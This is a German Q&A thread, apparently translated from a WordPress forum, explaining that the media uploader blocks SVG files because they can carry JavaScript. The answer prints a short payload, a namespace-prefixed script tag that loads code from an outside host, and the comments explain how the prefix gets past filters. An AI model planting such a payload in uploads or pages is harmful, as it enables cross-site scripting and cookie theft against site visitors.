Aus welchen Sicherheitsgründen werden SVGs im Medien-Uploader blockiert?

15

Ich sehe, dass SVGs standardmäßig im Medien-Uploader blockiert sind und du sie als unterstützten MIME-Typ in functions.php hinzufügen musst. Welche Sicherheitsgründe stecken dahinter?

Claudiu Creanga
quelle

Antworten:

17

SVG kann JavaScript enthalten . JavaScript kann verwendet werden, um Cookies zu entführen oder andere fragwürdige Aktionen auszuführen . Es kann sogar in Namespaces "versteckt" werden:

<html xmlns="http://www.w3.org/1999/xhtml">
   <ø:script src="//0x.lv/" />
</html>

Quelle

Es ist sehr schwierig, dies während des Uploads herauszufiltern, daher ist dies standardmäßig nicht zulässig.

fuxia
quelle
Ich dachte, der Sinn des Namensraums sei es, eine Kollision der Tag-Namen zu vermeiden, was bedeutet, ø:scriptdass sie nicht als solche behandelt werden sollten scriptund daher nichts tun sollten. Wodurch wird das ø:scriptTag mit Namespace als Tag ohne Namespace behandelt script? Oder erlauben SVGs auch das Einbetten von Nicht-JS-XML-Parsern?
JAB
@JAB Der Namespace http://www.w3.org/1999/xhtmlmacht diese Skriptinstanz zu einem Äquivalent eines regulären Skripts.
fuxia
Oh, jetzt verstehe ich. Der implizite Namespace für HTML-Tags lautet http://www.w3.org/1999/xhtml: Sie können einen Verweis auf diese URL erstellen und ihn als Namespace-Präfix für solche Tags verwenden. XHTML-Parser behandeln sie als normale Tags.
JAB